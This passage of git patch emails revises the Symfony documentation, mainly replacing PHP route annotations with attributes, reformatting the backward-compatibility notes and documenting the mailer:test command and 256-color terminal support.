     .. code-block:: php-attributes
 
         // src/Controller/SecurityController.php
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 74adb50d4a1..152ee90cad6 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -7,7 +7,7 @@ How to Create a custom Route Loader
 Basic applications can define all their routes in a single configuration file -
 usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`).
 However, in most applications it's common to import routes definitions from
-different resources: PHP annotations or attributes in controller files, YAML, XML
+different resources: PHP attributes in controller files, YAML, XML
 or PHP files stored in some directory, etc.
 
 Built-in Route Loaders
@@ -24,10 +24,10 @@ Symfony provides several route loaders for the most common needs:
             # loads routes from the given routing file stored in some bundle
             resource: '@AcmeBundle/Resources/config/routing.yaml'
 
-        app_annotations:
-            # loads routes from the PHP annotations of the controllers found in that directory
+        app_attributes:
+            # loads routes from the PHP attributes of the controllers found in that directory
             resource: '../src/Controller/'
-            type:     annotation
+            type:     attribute
 
         app_directory:
             # loads routes from the YAML, XML or PHP files found in that directory
@@ -51,8 +51,8 @@ Symfony provides several route loaders for the most common needs:
             <!-- loads routes from the given routing file stored in some bundle -->
             <import resource="@AcmeBundle/Resources/config/routing.yaml"/>
 
-            <!-- loads routes from the PHP annotations of the controllers found in that directory -->
-            <import resource="../src/Controller/" type="annotation"/>
+            <!-- loads routes from the PHP attributes of the controllers found in that directory -->
+            <import resource="../src/Controller/" type="attribute"/>
 
             <!-- loads routes from the YAML or XML files found in that directory -->
             <import resource="../legacy/routing/" type="directory"/>
@@ -70,8 +70,8 @@ Symfony provides several route loaders for the most common needs:
             // loads routes from the given routing file stored in some bundle
             $routes->import('@AcmeBundle/Resources/config/routing.yaml');
 
-            // loads routes from the PHP annotations of the controllers found in that directory
-            $routes->import('../src/Controller/', 'annotation');
+            // loads routes from the PHP attributes of the controllers found in that directory
+            $routes->import('../src/Controller/', 'attribute');
 
             // loads routes from the YAML or XML files found in that directory
             $routes->import('../legacy/routing/', 'directory');
@@ -103,7 +103,7 @@ Loading Routes
 The routes in a Symfony application are loaded by the
 :class:`Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader`.
 This loader uses several other loaders (delegates) to load resources of
-different types, for instance YAML files or ``@Route`` annotations in controller
+different types, for instance YAML files or ``#[Route]`` attributes in controller
 files. The specialized loaders implement
 :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface`
 and therefore have two important methods:
@@ -119,7 +119,7 @@ Take these lines from the ``routes.yaml``:
         # config/routes.yaml
         controllers:
             resource: ../src/Controller/
-            type: annotation
+            type: attribute
 
     .. code-block:: xml
 
@@ -130,7 +130,7 @@ Take these lines from the ``routes.yaml``:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../src/Controller" type="annotation"/>
+            <import resource="../src/Controller" type="attribute"/>
         </routes>
 
     .. code-block:: php
@@ -139,13 +139,13 @@ Take these lines from the ``routes.yaml``:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->import('../src/Controller', 'annotation');
+            $routes->import('../src/Controller', 'attribute');
         };
 
 When the main loader parses this, it tries all registered delegate loaders and calls
 their :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::supports`
 method with the given resource (``../src/Controller/``)
-and type (``annotation``) as arguments. When one of the loader returns ``true``,
+and type (``attribute``) as arguments. When one of the loader returns ``true``,
 its :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::load` method
 will be called, which should return a :class:`Symfony\\Component\\Routing\\RouteCollection`
 containing :class:`Symfony\\Component\\Routing\\Route` objects.
@@ -219,7 +219,7 @@ tag it manually with ``routing.route_loader``.
 Creating a custom Loader
 ------------------------
 
-To load routes from some custom source (i.e. from something other than annotations,
+To load routes from some custom source (i.e. from something other than attributes,
 YAML or XML files), you need to create a custom route loader. This loader
 has to implement :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface`.
 
@@ -439,7 +439,7 @@ configuration file - you can call the
 
     The resource name and type of the imported routing configuration can
     be anything that would normally be supported by the routing configuration
-    loader (YAML, XML, PHP, annotation, etc.).
+    loader (YAML, XML, PHP, attribute, etc.).
 
 .. note::
 
diff --git a/security.rst b/security.rst
index 0f8145949a0..fd1d6a4b96b 100644
--- a/security.rst
+++ b/security.rst
@@ -1650,26 +1650,6 @@ Next, you need to create a route for this URL (but not a controller):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/logout", name="app_logout", methods={"GET"})
-             */
-            public function logout(): void
-            {
-                // controller can be blank: it will never be called!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/SecurityController.php
diff --git a/security/login_link.rst b/security/login_link.rst
index 899c7a1c82a..009a951e2ce 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -86,27 +86,8 @@ intercept requests to this route:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login_check", name="login_check")
-             */
-            public function check()
-            {
-                throw new \LogicException('This code should never be reached');
-            }
-        }
-        
     .. code-block:: php-attributes
-    
+
         // src/Controller/SecurityController.php
         namespace App\Controller;
 
@@ -177,9 +158,7 @@ this interface::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
             // check if login form is submitted
@@ -250,9 +229,7 @@ number::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
             if ($request->isMethod('POST')) {
@@ -628,9 +605,7 @@ user create this POST request (e.g. by clicking a button)::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login_check", name="login_check")
-         */
+        #[Route('/login_check', name: 'login_check')]
         public function check(Request $request)
         {
             // get the login link query parameters
@@ -771,9 +746,7 @@ features such as the locale used to generate the link::
 
     class SecurityController extends AbstractController
     {
-        /**
-         * @Route("/login", name="login")
-         */
+        #[Route('/login', name: 'login')]
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
         {
             // check if login form is submitted
diff --git a/security/voters.rst b/security/voters.rst
index 23aa39cce41..f5b44126677 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -73,9 +73,7 @@ code like this::
     // ...
     class PostController extends AbstractController
     {
-        /**
-         * @Route("/posts/{id}", name="post_show")
-         */
+        #[Route('/posts/{id}', name: 'post_show')]
         public function show($id): Response
         {
             // get a Post object - e.g. query for it
@@ -87,9 +85,7 @@ code like this::
             // ...
         }
 
-        /**
-         * @Route("/posts/{id}/edit", name="post_edit")
-         */
+        #[Route('/posts/{id}/edit', name: 'post_edit')]
         public function edit($id): Response
         {
             // get a Post object - e.g. query for it
diff --git a/service_container.rst b/service_container.rst
index 6b6015a02e8..d6eb71c1202 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -38,9 +38,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/products")
-         */
+        #[Route('/products')]
         public function list(LoggerInterface $logger): Response
         {
             $logger->info('Look, I just used a service!');
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 7aa968a22e4..a0517d8e937 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -136,9 +136,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/tweet", methods={"POST"})
-         */
+        #[Route('/tweet')]
         public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
diff --git a/templates.rst b/templates.rst
index 0c679b0087d..6b0c6a0ed7b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -188,34 +188,6 @@ Consider the following routing configuration:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/", name="blog_index")
-             */
-            public function index(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/article/{slug}", name="blog_post")
-             */
-            public function show(string $slug): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
diff --git a/translation/locale.rst b/translation/locale.rst
index d4a28f74961..fa670f675a2 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -64,28 +64,6 @@ A better policy is to include the locale in the URL using the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/{_locale}/contact",
-             *     name="contact",
-             *     requirements={
-             *         "_locale": "en|fr|de",
-             *     }
-             * )
-             */
-            public function contact()
-            {
-            }
-        }
-        
     .. code-block:: php-attributes
 
         // src/Controller/ContactController.php

From 9cebba1d9772a54d0754c52a385e86d663117e36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 15:52:43 +0200
Subject: [PATCH 3555/7107] Reword

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index e0513ce8947..4e38e01e82b 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -144,7 +144,7 @@ authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
-(see below).
+(security passports are explained later in this article).
 
 After the authentication process finished, the user is either authenticated
 or there was something wrong (e.g. incorrect password). The authenticator

From da75ee2ab2885cf5efe7ff2235ece5237e92d0a4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:01:33 +0200
Subject: [PATCH 3556/7107] Tweak

---
 bundles/best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 4cb57c2187d..addc59014ba 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -228,7 +228,7 @@ with Symfony Flex to install a specific Symfony version:
 
     # this requires Symfony 5.x for all Symfony packages
     export SYMFONY_REQUIRE=5.*
-    # alternative method: write to the composer.json file
+    # alternatively you can run this command to update composer.json config
     # composer config extra.symfony.require "5.*"
 
     # install Symfony Flex in the CI environment

From 746e4c09173762fa4c5a5aaef32d26b7be9ead99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 16:51:32 +0200
Subject: [PATCH 3557/7107] [Contributing] Update the footnotes of the BC
 article

---
 contributing/code/bc.rst | 193 ++++++++++++++++++++++-----------------
 1 file changed, 107 insertions(+), 86 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 482ac16d65b..3f1e6164087 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -75,7 +75,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes [10]_                   |
+| Call a method                                 | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -117,13 +117,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes [10]_                   |
+| Call a public method                          | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes [10]_                   |
+| Call a protected method                       | Yes :ref:`[10] <note-10>`   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -193,12 +193,12 @@ Changing Interfaces
 This table tells you which changes you are allowed to do when working on
 Symfony's interfaces:
 
-==============================================  ==============
-Type of Change                                  Change Allowed
-==============================================  ==============
+==============================================  ==============  ===============
+Type of Change                                  Change Allowed  Notes
+==============================================  ==============  ===============
 Remove entirely                                 No
 Change name or namespace                        No
-Add parent interface                            Yes [2]_
+Add parent interface                            Yes             :ref:`[2] <note-2>`
 Remove parent interface                         No
 **Methods**
 Add method                                      No
@@ -207,14 +207,14 @@ Change name                                     No
 Move to parent interface                        Yes
 Add argument without a default value            No
 Add argument with a default value               No
-Remove argument                                 No [3]_
+Remove argument                                 No              :ref:`[3] <note-3>`
 Add default value to an argument                No
 Remove default value of an argument             No
 Add type hint to an argument                    No
 Remove type hint of an argument                 No
 Change argument type                            No
 Add return type                                 No
-Remove return type                              No [9]_
+Remove return type                              No              :ref:`[9] <note-9>`
 Change return type                              No
 **Static Methods**
 Turn non static into static                     No
@@ -222,8 +222,8 @@ Turn static into non static                     No
 **Constants**
 Add constant                                    Yes
 Remove constant                                 No
-Change value of a constant                      Yes [1]_ [5]_
-==============================================  ==============
+Change value of a constant                      Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+==============================================  ==============  ===============
 
 Changing Classes
 ~~~~~~~~~~~~~~~~
@@ -231,14 +231,14 @@ Changing Classes
 This table tells you which changes you are allowed to do when working on
 Symfony's classes:
 
-==================================================  ==============
-Type of Change                                      Change Allowed
-==================================================  ==============
+==================================================  ==============  ===============
+Type of Change                                      Change Allowed  Notes
+==================================================  ==============  ===============
 Remove entirely                                     No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Make abstract                                       No
 Change name or namespace                            No
-Change parent class                                 Yes [4]_
+Change parent class                                 Yes             :ref:`[4] <note-4>`
 Add interface                                       Yes
 Remove interface                                    No
 **Public Properties**
@@ -248,19 +248,19 @@ Reduce visibility                                   No
 Move to parent class                                Yes
 **Protected Properties**
 Add protected property                              Yes
-Remove protected property                           No [7]_
-Reduce visibility                                   No [7]_
-Make public                                         No [7]_
+Remove protected property                           No              :ref:`[7] <note-7>`
+Reduce visibility                                   No              :ref:`[7] <note-7>`
+Make public                                         No              :ref:`[7] <note-7>`
 Move to parent class                                Yes
 **Private Properties**
 Add private property                                Yes
 Make public or protected                            Yes
 Remove private property                             Yes
 **Constructors**
-Add constructor without mandatory arguments         Yes [1]_
+Add constructor without mandatory arguments         Yes             :ref:`[1] <note-1>`
 Remove constructor                                  No
 Reduce visibility of a public constructor           No
-Reduce visibility of a protected constructor        No [7]_
+Reduce visibility of a protected constructor        No              :ref:`[7] <note-7>`
 Move to parent class                                Yes
 **Destructors**
 Add destructor                                      Yes
@@ -271,38 +271,38 @@ Add public method                                   Yes
 Remove public method                                No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Move to parent class                                Yes
 Add argument without a default value                No
-Add argument with a default value                   No [7]_ [8]_
-Remove argument                                     No [3]_
-Add default value to an argument                    No [7]_ [8]_
+Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                     No              :ref:`[3] <note-3>`
+Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Remove default value of an argument                 No
-Add type hint to an argument                        No [7]_ [8]_
-Remove type hint of an argument                     No [7]_ [8]_
-Change argument type                                No [7]_ [8]_
-Add return type                                     No [7]_ [8]_
-Remove return type                                  No [7]_ [8]_ [9]_
-Change return type                                  No [7]_ [8]_
+Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Protected Methods**
 Add protected method                                Yes
-Remove protected method                             No [7]_
-Change name                                         No [7]_
-Reduce visibility                                   No [7]_
-Make final                                          No [6]_
-Make public                                         No [7]_ [8]_
+Remove protected method                             No              :ref:`[7] <note-7>`
+Change name                                         No              :ref:`[7] <note-7>`
+Reduce visibility                                   No              :ref:`[7] <note-7>`
+Make final                                          No              :ref:`[6] <note-6>`
+Make public                                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Move to parent class                                Yes
-Add argument without a default value                No [7]_
-Add argument with a default value                   No [7]_ [8]_
-Remove argument                                     No [3]_
-Add default value to an argument                    No [7]_ [8]_
-Remove default value of an argument                 No [7]_
-Add type hint to an argument                        No [7]_ [8]_
-Remove type hint of an argument                     No [7]_ [8]_
-Change argument type                                No [7]_ [8]_
-Add return type                                     No [7]_ [8]_
-Remove return type                                  No [7]_ [8]_ [9]_
-Change return type                                  No [7]_ [8]_
+Add argument without a default value                No              :ref:`[7] <note-7>`
+Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                     No              :ref:`[3] <note-3>`
+Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                 No              :ref:`[7] <note-7>`
+Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Private Methods**
 Add private method                                  Yes
 Remove private method                               Yes
@@ -320,13 +320,13 @@ Add return type                                     Yes
 Remove return type                                  Yes
 Change return type                                  Yes
 **Static Methods and Properties**
-Turn non static into static                         No [7]_ [8]_
+Turn non static into static                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 Turn static into non static                         No
 **Constants**
 Add constant                                        Yes
 Remove constant                                     No
-Change value of a constant                          Yes [1]_ [5]_
-==================================================  ==============
+Change value of a constant                          Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+==================================================  ==============  ===============
 
 Changing Traits
 ~~~~~~~~~~~~~~~
@@ -334,9 +334,9 @@ Changing Traits
 This table tells you which changes you are allowed to do when working on
 Symfony's traits:
 
-==================================================  ==============
-Type of Change                                      Change Allowed
-==================================================  ==============
+==================================================  ==============  ===============
+Type of Change                                      Change Allowed  Notes
+==================================================  ==============  ===============
 Remove entirely                                     No
 Change name or namespace                            No
 Use another trait                                   Yes
@@ -363,7 +363,7 @@ Add public method                                   Yes
 Remove public method                                No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
+Make final                                          No              :ref:`[6] <note-6>`
 Move to used trait                                  Yes
 Add argument without a default value                No
 Add argument with a default value                   No
@@ -379,8 +379,8 @@ Add protected method                                Yes
 Remove protected method                             No
 Change name                                         No
 Reduce visibility                                   No
-Make final                                          No [6]_
-Make public                                         No [8]_
+Make final                                          No              :ref:`[6] <note-6>`
+Make public                                         No              :ref:`[8] <note-8>`
 Move to used trait                                  Yes
 Add argument without a default value                No
 Add argument with a default value                   No
@@ -411,45 +411,66 @@ Change return type                                  No
 **Static Methods and Properties**
 Turn non static into static                         No
 Turn static into non static                         No
-==================================================  ==============
+==================================================  ==============  ===============
 
-.. [1] Should be avoided. When done, this change must be documented in the
-       UPGRADE file.
+Notes
+~~~~~
 
-.. [2] The added parent interface must not introduce any new methods that don't
-       exist in the interface already.
+.. _note-1:
 
-.. [3] Only the last optional argument(s) of a method may be removed, as PHP
-       does not care about additional arguments that you pass to a method.
+**[1]** Should be avoided. When done, this change must be documented in the
+UPGRADE file.
 
-.. [4] When changing the parent class, the original parent class must remain an
-       ancestor of the class.
+.. _note-2:
 
-.. [5] The value of a constant may only be changed when the constants aren't
-       used in configuration (e.g. Yaml and XML files), as these do not support
-       constants and have to hardcode the value. For instance, event name
-       constants can't change the value without introducing a BC break.
-       Additionally, if a constant will likely be used in objects that are
-       serialized, the value of a constant should not be changed.
+**[2]** The added parent interface must not introduce any new methods that don't
+exist in the interface already.
 
-.. [6] Allowed using the ``@final`` annotation.
+.. _note-3:
 
-.. [7] Allowed if the class is final. Classes that received the ``@final``
-       annotation after their first release are considered final in their
-       next major version.
-       Changing an argument type is only possible with a parent type.
-       Changing a return type is only possible with a child type.
+**[3]** Only the last optional argument(s) of a method may be removed, as PHP
+does not care about additional arguments that you pass to a method.
 
-.. [8] Allowed if the method is final. Methods that received the ``@final``
-       annotation after their first release are considered final in their
-       next major version.
-       Changing an argument type is only possible with a parent type.
-       Changing a return type is only possible with a child type.
+.. _note-4:
 
-.. [9] Allowed for the ``void`` return type.
+**[4]** When changing the parent class, the original parent class must remain an
+ancestor of the class.
 
-.. [10] Parameter names are only covered by the compatibility promise for
-        constructors of Attribute classes. Using PHP named arguments might
-        break your code when upgrading to newer Symfony versions.
+.. _note-5:
+
+**[5]** The value of a constant may only be changed when the constants aren't
+used in configuration (e.g. Yaml and XML files), as these do not support
+constants and have to hardcode the value. For instance, event name constants
+can't change the value without introducing a BC break. Additionally, if a
+constant will likely be used in objects that are serialized, the value of a
+constant should not be changed.
+
+.. _note-6:
+
+**[6]** Allowed using the ``@final`` annotation.
+
+.. _note-7:
+
+**[7]** Allowed if the class is final. Classes that received the ``@final``
+annotation after their first release are considered final in their next major
+version. Changing an argument type is only possible with a parent type. Changing
+a return type is only possible with a child type.
+
+.. _note-8:
+
+**[8]** Allowed if the method is final. Methods that received the ``@final``
+annotation after their first release are considered final in their next major
+version. Changing an argument type is only possible with a parent type. Changing
+a return type is only possible with a child type.
+
+.. _note-9:
+
+**[9]** Allowed for the ``void`` return type.
+
+.. _note-10:
+
+**[10]** Parameter names are only covered by the compatibility promise for
+constructors of Attribute classes. Using PHP named arguments might break your
+code when upgrading to newer Symfony versions.
 
 .. _`Semantic Versioning`: https://semver.org/

From 89f5a605fb2a3872028bb334789f0a2951b64858 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:33:44 +0200
Subject: [PATCH 3558/7107] [Console] Mention the support of 256-color
 terminals

---
 console/coloring.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 25853565fd5..f312753af51 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -52,8 +52,13 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
 .. note::
 
-    If the terminal doesn't support true colors, the nearest named color is used.
-    E.g. ``#c0392b`` is degraded to ``red`` or ``#f1c40f`` is degraded to ``yellow``.
+    If the terminal doesn't support true colors, the given color is replaced by
+    the nearest color depending on the terminal capabilities. E.g. ``#c0392b`` is
+    degraded to ``#d75f5f`` in 256-color terminals and to ``red`` in 8-color terminals.
+
+    .. versionadded:: 6.2
+
+        The support of 256-color terminals was introduced in Symfony 6.2.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors

From 1f505a8be032efc03f7f26d0ccc095e4846326ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Aug 2022 17:45:43 +0200
Subject: [PATCH 3559/7107] [Mailer] Document the mailer:test command

---
 mailer.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8461368c962..a376ff68def 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1407,6 +1407,25 @@ Here's an example of making one available to download::
 Development & Debugging
 -----------------------
 
+Sending Test Emails
+~~~~~~~~~~~~~~~~~~~
+
+Symfony provides a command to send emails, which is useful during development
+to test if sending emails works correctly:
+
+.. code-block:: terminal
+
+    # the only mandatory argument is the recipient address
+    # (check the command help to learn about its options)
+    $ php bin/console mailer:test someone@example.com
+
+This command bypasses the :doc:`Messenger bus </messenger>`, if configured, to
+ease testing emails even when the Messenger consumer is not running.
+
+.. versionadded:: 6.2
+
+    The ``mailer:test`` command was introduced in Symfony 6.2.
+
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 

From ed957f7a559bed398102b607590000def0fa6532 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 10 Aug 2022 20:09:58 +0200
Subject: [PATCH 3560/7107] [Intl] Add link refs for classes

Add links for all classes to easily check code source.
---
 components/intl.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 6992c39a26b..71f98f879fb 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -166,7 +166,7 @@ to catching the exception, you can also check if a given script code is valid::
 Country Names
 ~~~~~~~~~~~~~
 
-The ``Countries`` class provides access to the name of all countries according
+The :class:`Symfony\\Component\\Intl\\Countries` class provides access to the name of all countries according
 to the `ISO 3166-1 alpha-2`_ list and the `ISO 3166-1 alpha-3`_ list
 of officially recognized countries and territories::
 
@@ -233,7 +233,7 @@ Locales
 A locale is the combination of a language, a region and some parameters that
 define the interface preferences of the user. For example, "Chinese" is the
 language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
+(script) + "Macau SAR China" (region). The :class:`Symfony\\Component\\Intl\\Locales` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -269,7 +269,7 @@ to catching the exception, you can also check if a given locale code is valid::
 Currencies
 ~~~~~~~~~~
 
-The ``Currencies`` class provides access to the name of all currencies as well
+The :class:`Symfony\\Component\\Intl\\Currencies` class provides access to the name of all currencies as well
 as some of their information (symbol, fraction digits, etc.)::
 
     use Symfony\Component\Intl\Currencies;
@@ -317,7 +317,7 @@ to catching the exception, you can also check if a given currency code is valid:
 Timezones
 ~~~~~~~~~
 
-The ``Timezones`` class provides several utilities related to timezones. First,
+The :class:`Symfony\\Component\\Intl\\Timezones` class provides several utilities related to timezones. First,
 you can get the name and values of all timezones in all languages::
 
     use Symfony\Component\Intl\Timezones;

From dfbda13342a933a0ad66c91f703d4f86d3cea873 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 10 Aug 2022 20:56:19 +0200
Subject: [PATCH 3561/7107] [Serializer] Add return hint

Return hint in NameConverterInterface added in V6.0
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 092b8a52c28..3b5370cb5cb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -588,12 +588,12 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName)
+        public function normalize(string $propertyName): string
         {
             return 'org_'.$propertyName;
         }
 
-        public function denormalize(string $propertyName)
+        public function denormalize(string $propertyName): string
         {
             // removes 'org_' prefix
             return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName;

From dbf3a70808dd32bbd0931cb6bea4b26bb7aa9c86 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 10 Aug 2022 23:11:21 +0200
Subject: [PATCH 3562/7107] Adding comment about route name

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2b4ee776d63..fa60564fab5 100644
--- a/security.rst
+++ b/security.rst
@@ -1677,7 +1677,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                ->path('app_logout')
+                ->path('app_logout') // pass either the *name* or the *path* of the route
 
                 // where to redirect after logout
                 // ->target('app_any_route')

From 55da07f9dbebdd4aca6028e027ac527c033c492f Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 11 Aug 2022 01:37:05 +0200
Subject: [PATCH 3563/7107] Replace ORM annotations with attributes, remove ORM
 annotation configuration block

---
 components/uid.rst                     | 36 ++++-------
 controller/upload_file.rst             |  4 +-
 doctrine.rst                           |  4 +-
